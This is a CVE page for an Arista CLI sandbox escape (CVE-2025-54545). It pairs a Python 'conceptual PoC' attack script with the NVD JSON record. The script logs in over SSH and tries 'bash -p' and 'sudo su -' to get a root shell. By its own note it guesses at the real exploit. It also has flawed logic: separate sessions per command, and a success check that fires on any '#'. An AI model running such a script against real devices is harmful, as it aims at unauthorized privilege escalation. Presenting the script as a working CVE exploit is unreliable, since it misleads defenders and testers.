CVE-2025-54545

# CVE-2025-54545 Arista CLI Sandbox Escape PoC # Note: This is a conceptual PoC based on CLI sandbox escape vulnerability # Actual exploitation requires specific device access and command sequences import socket import paramiko import time def cve_2025_54545_exploit(target_ip, username, password): """ Arista CLI Sandbox Escape PoC This PoC demonstrates the concept of exploiting CVE-2025-54545 to escape CLI sandbox and gain elevated privileges. WARNING: Only for authorized security testing """ try: # Connect to Arista device via SSH client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Execute restricted CLI commands as low-privilege user stdin, stdout, stderr = client.exec_command('enable') # Attempt sandbox escape using specific command sequence # The actual exploit may involve specific CLI commands or injection escape_commands = [ 'show version', 'bash -p', # Attempt to spawn privileged shell 'sudo su -', # Attempt privilege escalation ] for cmd in escape_commands: stdin, stdout, stderr = client.exec_command(cmd) output = stdout.read().decode('utf-8', errors='ignore') error = stderr.read().decode('utf-8', errors='ignore') # Check for successful shell escape if '#' in output or 'root' in output.lower(): print(f"[+] Sandbox escape successful via command: {cmd}") print(f"[+] Output: {output}") return True client.close() return False except Exception as e: print(f"[-] Exploitation failed: {str(e)}") return False # Example usage if __name__ == "__main__": target = "192.168.1.1" user = "lowpriv_user" passwd = "password123" print(f"[*] Attempting CVE-2025-54545 exploitation on {target}") result = cve_2025_54545_exploit(target, user, passwd) if result: print("[+] Privilege escalation successful!") else: print("[-] Exploitation attempt completed without success")

{"cve": {"id": "CVE-2025-54545", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:18.603", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "On affected platforms, a restricted user could break out of the CLI sandbox to the system shell and elevate their privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://www.arista.com/en/support/advisories-notices/security-advisory/22538-security-advisory-0124", "source": "[email protected]"}]}}